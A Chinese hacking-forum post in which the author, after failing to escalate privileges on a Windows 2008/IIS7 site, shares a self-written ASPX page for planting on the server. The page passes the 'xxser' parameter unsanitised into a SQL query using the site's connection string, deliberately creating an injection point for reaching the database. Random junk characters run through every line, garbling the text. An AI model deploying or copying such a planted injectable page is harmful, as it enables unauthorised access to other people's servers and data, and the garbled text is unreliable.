昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
7 q7 e/ ~/ S4 E; K4 k/ ]8 _其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
o/ {" P! R3 M1 O# f代码量不多,自己写个拉倒了。烦死了。
: A* j. |% H c9 H5 z6 W5 m- {8 P
; u. L4 t$ E* h6 V( |. P; I$ d<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1 C/ C$ _9 W9 j; X& q; C6 X7 H<html xmlns="http://www.w3.org/1999/xhtml">2 A3 W" k( Q: u9 A& u+ r
<head runat="server">
2 V U/ J8 f6 x ~. B" H <title>暗影aspx构造注射专用页面</title>
1 Y0 ~7 i9 q; D5 l' F</head>
: t* w% q. l9 w4 X<body>" q* I8 b5 O# D
<form id="form1" runat="server">
! W( {( N. P$ _" f6 @( A( O$ q- o/ ` <div>- X7 g/ e9 K$ U6 ]! g' ~
<script language="c#" runat="server">4 R5 q1 p0 U5 q1 b
T2 b9 a/ Y! D% Z! B void page_init(object sender, EventArgs e)2 p! g S0 K- ]- S( j2 y# q% b
{4 d- @# R6 q! G( Q$ _
( Z5 D# r2 t8 u& U2 ^+ R
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
6 U2 z; r& S5 ~9 `3 \
7 A( \! S" k7 h% j# ?0 ] conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();7 J: M2 a4 e& a# a8 v
conn.Open();5 e# U; A# f% k, F, ?) }( [
- R" \) o6 m0 }4 G$ Z string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
' Z8 _- j; {( P+ D4 h! y! K9 o
_) [% W, w7 i! z5 {4 ]7 f# D System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
. F! v* u, y2 H int x = command.ExecuteNonQuery();9 N+ c6 p+ T0 |4 R. Y
Response.Write(i+"\n");
0 y% `5 Z! t9 |' }+ a) ?' u# C Response.Write(x);' }5 v u6 c' [: i- x( ?& [
conn.Close();
4 z( D8 L+ Y6 [: V }
% G- e" U0 ]: s7 o 2 x; q( t+ [% W# _
</script>" t* R; [2 F/ i4 _/ U
</div>" h* x) R9 V& A7 P3 E
</form>
9 T# e! K9 g4 T2 h3 r, \$ R& ^</body>
2 a# ^+ V- O |</html>4 O& w& |3 O. J, K' i
|